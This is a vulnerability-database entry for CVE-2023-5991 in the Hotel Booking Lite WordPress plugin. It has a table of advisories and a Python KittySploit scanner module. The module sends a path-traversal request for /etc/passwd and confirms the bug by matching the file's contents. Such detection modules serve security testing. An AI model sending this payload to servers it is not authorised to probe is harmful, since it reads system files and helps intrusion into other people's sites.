Hotel Booking Lite < 4.8.5 - Arbitrary File Download & Deletion Detection
| Reporter | Title | Published | Views | Family All 13 |
|---|---|---|---|---|
| CVE-2023-5991 | 26 Dec 202320:26 | – | circl | |
| WordPress plugin Hotel Booking Lite security vulnerability | 26 Dec 202300:00 | – | cnnvd | |
| CVE-2023-5991 | 26 Dec 202318:33 | – | cve | |
| CVE-2023-5991 Hotel Booking Lite < 4.8.5 - Unauthenticated Arbitrary File Download & Deletion | 26 Dec 202318:33 | – | cvelist | |
| Hotel Booking Lite < 4.8.5 - Arbitrary File Download & Deletion | 17 Oct 202602:05 | – | nuclei | |
| CVE-2023-5991 | 26 Dec 202319:15 | – | nvd | |
| CVE-2023-5991 | 26 Dec 202319:15 | – | osv_cve | |
| Design/Logic Flaw | 26 Dec 202319:15 | – | prion | |
| PT-2023-32464 · WordPress · Hotel Booking Lite | 26 Dec 202300:00 | – | ptsecurity | |
| CVE-2023-5991: Improper Limitation of a Pathname to a Restricted Directory | 26 Dec 202300:00 | – | rapid7 |
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#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""The Hotel Booking Lite WordPress plugin before 4."""
import re
from kittysploit import *
from lib.protocols.http.http_client import Http_client
class Module(Scanner, Http_client):
__info__ = {
'name': 'Hotel Booking Lite < 4.8.5 - Arbitrary File Download & Deletion Detection',
'description': 'The Hotel Booking Lite WordPress plugin before 4.8.5 does not validate file paths provided via user input, as well as does not have proper CSRF and authorisation checks, allowing unauthenticated users to download and delete arbitrary files on the server',
'author': ['KittySploit Team'],
'severity': 'critical',
'tags': ['web', 'scanner', 'cve', 'cve2023', 'lfi', 'motopress-hotel-booking', 'wordpress', 'wp-plugin', 'wpscan', 'wp', 'motopress', 'vuln'],
'agent': {
'risk': 'active',
'effects': ['network_probe'],
'expected_requests': 1,
'reversible': True,
'approval_required': False,
'produces': ['tech_hints', 'risk_signals', 'endpoints'],
'cost': 1.0,
'noise': 0.3,
'value': 1.0,
'requires': {
'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False,
},
'chain': {
'produces_capabilities': [
{
'capability': 'admin_surface',
'from_detail': '',
},
],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['auxiliary/scanner/http/login_page_detector'],
},
},
'references': [
'https://wpscan.com/vulnerability/e9d35e36-1e60-4483-b8b3-5cbf08fcd49e/',
'https://nvd.nist.gov/vuln/detail/CVE-2023-5991',
],
'cve': 'CVE-2023-5991',
}
def run(self):
r = self.http_request(method="GET", path='/?filename=../../../../../../etc/passwd&mphb_action=download', allow_redirects=False)
if not r or r.status_code != 200:
return False
body = r.text or ""
headers = "\n".join(f"{k}: {v}" for k, v in r.headers.items())
header_all = ('filename=', '/etc/passwd',)
body_regexes = ('root:.*:0:0:',)
if (all(m in headers for m in header_all)) and (any(re.search(rx, body, 0) for rx in body_regexes)):
self.set_info(
severity='critical',
reason="Hotel Booking Lite < 4.8.5 - Arbitrary File Download & Deletion detected",
path='/?filename=../../../../../../etc/passwd&mphb_action=download',
)
return True
return False
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28 Jul 2026 11:27Current
8.6High risk
Vulners AI Score8.6
CVSS 3.19.8
EPSS0.03313